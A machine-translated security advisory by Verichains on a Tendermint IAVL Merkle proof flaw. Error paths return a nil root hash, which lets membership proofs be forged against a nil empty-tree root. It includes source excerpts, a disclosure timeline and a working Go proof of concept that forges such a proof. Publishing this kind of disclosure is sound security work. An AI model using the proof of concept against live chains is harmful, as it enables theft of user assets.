[VSA-2022-100] Tendermint:在 IAVL 证明中伪造空 Merkle 树漏洞的成员资格证明

本文为机器翻译
展示原文

该公告强调了 Verichains 在 Tendermint 库中发现的一个严重漏洞,该漏洞可能使攻击者能够从使用其 IAVL 证明验证的项目中窃取资产,例如BNB Chain,可能造成重大财务损失。

我们在 2022 年 10 月上旬私下向 Tendermint/Cosmos 维护者披露了这个问题。虽然 Tendermint/Cosmos 维护者承认存在漏洞,但他们选择不在 Tendermint 库中发布补丁,因为 IBC 和 Cosmos-SDK 实现已经迁移到 ICS- 23 来自 IAVL 默克尔证明验证。

我们认为,即使它不影响 Cosmos/IBC 链的最新实现,但应该在 Tendermint 库中修复该错误,因为它正在被其他项目使用,例如BNB Chain。如果易受攻击的代码已过时,则应将其从 Tendermint 库中删除。

为确保 Tendermint 库用户了解该问题并加以解决,我们决定在遵循我们的漏洞披露政策等待 120 天后向公众发布此公告。我们敦促所有使用 Tendermint 的 IAVL 证明验证的项目采取必要措施来保护其资产并降低被利用的风险。

感谢阅读 Verichains!免费订阅以接收新帖子并支持我的工作。

概括

Tendermint 的核心库 ( https://github.com/tendermint/tendermint/ ) 包含一个名为 `merkle` 的专用模块,用于处理 Merkle 证明。它的证明运算符“ValueOp”在验证键值对输入后,返回一个零根哈希,而不是在意外情况下引发错误(例如,树的节点数为负数)。

因此,如果空 Merkle 树的根哈希被声明为 nil(很可能发生,因为 nil 是 Golang 中未初始化字节片的默认值),攻击者可以伪造任意键值对的成员资格证明。

分析

证明运算符 ValueOp 在 (merkle/proof_value.go) 中实现。运行时,它首先对输入的键值对进行哈希处理,然后将哈希结果与它当前执行的证明中的叶哈希进行比较(merkle/proof_value.go,第 92-94 行):

 ------------------------------------------------------------------------ 77 func (op ValueOp) Run(args [][]byte) ([][]byte, error) { ... 92 if !bytes.Equal(kvhash, op.Proof.LeafHash) { 93 return nil, fmt.Errorf("leaf hash mismatch: want %X got %X", op.Proof.LeafHash, kvhash) 94 }

如果此检查通过,它只返回根据证明计算的根哈希(第 96-98 行):

 96 return [][]byte{ 97 op.Proof.ComputeRootHash(), 98 }, nil

函数 ComputeRootHash 是 computeHashFromAunts 的包装器(merkle/proof.go,第 71-78 行):

 71 func (sp *Proof) ComputeRootHash() []byte { 72 return computeHashFromAunts( 73 sp.Index, 74 sp.Total, 75 sp.LeafHash, 76 sp.Aunts, 77 ) 78 }

并且此函数在捕获到错误时返回一个零字节切片(merkle/proof.go,第 152-154、159-161、164-166、170-172、176-178 行):

 151 func computeHashFromAunts(index, total int64, leafHash []byte, innerHashes [][]byte) []byte { 152 if index >= total || index < 0 || total <= 0 { 153 return nil 154 } ... 159 if len(innerHashes) != 0 { 160 return nil 161 } ... 164 if len(innerHashes) == 0 { 165 return nil 166 } ... 170 if leftHash == nil { 171 return nil 172 } ... 176 if rightHash == nil { 177 return nil 178 } ... 181 }

结果,错误被忽略,并且 ValueOp.Run 返回一个 nil 根哈希和一个 nil 错误,表明证明是有效的。

开发

利用是直接的:只需将证明的叶哈希设置为我们选择的键值对的哈希值,并将其他证明参数保留为默认值,以在第一次检查时触发 computeHashFromAunts 的 nil 返回(merkle/ proof.go,第 152-154 行)。

这是一个演示攻击的 PoC:

 1 package main 2 3 import ( 4 "bytes" 5 goanimo "github.com/tendermint/go-amino" 6 "github.com/tendermint/tendermint/crypto/merkle" 7 "github.com/tendermint/tendermint/crypto/tmhash" 8 "log" 9 ) 10 11 func main() { 12 // a fake key-value pair and its hash 13 key := []byte{0x13} 14 value := []byte{0x37} 15 vhash := tmhash.Sum(value) 16 bz := new(bytes.Buffer) 17 _ = goanimo.EncodeByteSlice(bz, key) 18 _ = goanimo.EncodeByteSlice(bz, vhash) 19 kvhash := tmhash.Sum(append([]byte{0}, bz.Bytes()...)) 20 21 // the malicious `op` 22 op := merkle.NewValueOp( 23 key, 24 &merkle.Proof{LeafHash: kvhash}, 25 ) 26 27 // the nil root 28 var root []byte 29 30 // should return nil (successfully verified) 31 log.Println(merkle.ProofOperators{op}.Verify(root, "/"+string(key), [][]byte{value})) 32 }

受影响的产品

时间线

  • 2022 年 10 月 11 日:私下向BNB团队报告

  • 2022 年 10 月 12 日:私下向 Tendermint / Cosmos 维护者报告

  • 2023 年 2 月 28 日:公开发布

来源
免责声明:以上内容仅为作者观点,不代表Followin的任何立场,不构成与Followin相关的任何投资建议。
喜欢
收藏
评论